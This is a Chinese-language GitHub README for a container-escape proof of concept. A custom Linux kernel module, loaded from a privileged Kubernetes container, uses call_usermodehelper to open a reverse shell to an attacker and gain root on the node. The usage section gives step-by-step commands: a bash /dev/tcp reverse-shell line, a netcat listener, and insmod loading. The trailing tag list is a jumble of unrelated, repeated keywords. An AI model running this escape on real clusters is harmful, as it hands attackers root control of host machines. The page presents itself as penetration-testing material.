P0lunchis/k8s-container-escape-lkm
GitHub: P0lunchis/k8s-container-escape-lkm
演示如何通过在特权Kubernetes容器中加载自定义Linux内核模块实现容器逃逸并获取宿主机root权限的PoC。
Stars: 0 | Forks: 0
# 🛠️ 内核模块反向 Shell – 特权容器逃逸 PoC
本仓库演示了一种真实的**容器逃逸技术**,通过自定义 **Linux Kernel Module (LKM)** 从 `--privileged` Kubernetes 容器内部生成反向 Shell。
该概念验证(PoC)在 [RBT Security 的 Kubernetes 渗透测试 – 第三部分](https://www.rbtsec.com/blog/kubernetes-penetration-testing-part-three-breaking-out-with-privileged-containers/) 中被特别介绍,展示了攻击者如何突破容器边界并**直接在主机上执行命令**。
视频教程:https://www.youtube.com/watch?v=YHCwMQY7SYs&list=PLUMEY7cBcvDMBeAK8RbJ00VHCIZkQcTV1
### 🔍 关于 LKM(描述)
可加载内核模块 (LKM) 允许代码在无需重启的情况下运行于内核空间。当从特权 Kubernetes 容器中使用时,它可能导致主机被完全攻陷。此 PoC 展示了攻击者如何利用 SSTI,加载反向 Shell LKM,并逃逸容器以获取 Node 上的 root 权限。
## 🚀 工作原理
1. 攻击者利用漏洞(例如 SSTI)在**特权容器**内获得代码执行权限。
2. **自定义内核模块**在容器内编译并注入,反向 Shell 的 IP 和端口被硬编码在源代码中。
3. 模块加载后,使用 `call_usermodehelper()` 向攻击者的监听器发起**反向 Shell**。
4. 由于容器拥有完整的内核 capabilities(例如 `CAP_SYS_MODULE`),这实现了**主机级命令执行**。
## 📁 文件
- `k8s-lkm-reverse-shell.c`:内核模块源代码
- `Makefile`:用于为目标内核编译模块
## 💻 用法
```
# 步骤 1:在 container 内安装 dependencies
apt update
apt install -y build-essential linux-headers-$(uname -r)
# 步骤 2:在 C source file 中编辑 reverse shell IP 和 port
# 文件:k8s-lkm-reverse-shell.c
# 将 和 替换为你的 attacker's listener
#define REVERSE_SHELL_CMD \ "bash -i >& /dev/tcp// 0>&1";
# 步骤 3:编译 kernel module
make clean && make
# 步骤 4:启动你的 listener
nc -lvnp 6999
# 步骤 5:(在 container 内) 加载 kernel module
insmod k8s-lkm-reverse-shell.ko
```
标签:0day挖掘, CAP_SYS_MODULE, CISA项目, Hpfeeds, Linux内核模块, LKM, PoC, Rootkit, SSTI, TGT, Web报告查看器, Zeek, 内核安全, 协议分析, 反向Shell, 子域名突变, 安全, 客户端加密, 客户端加密, 客户端加密, 容器逃逸, 应用安全, 攻防演练, 数据展示, 暴力破解, 权限提升, 特权容器, 系统调用, 红队, 超时处理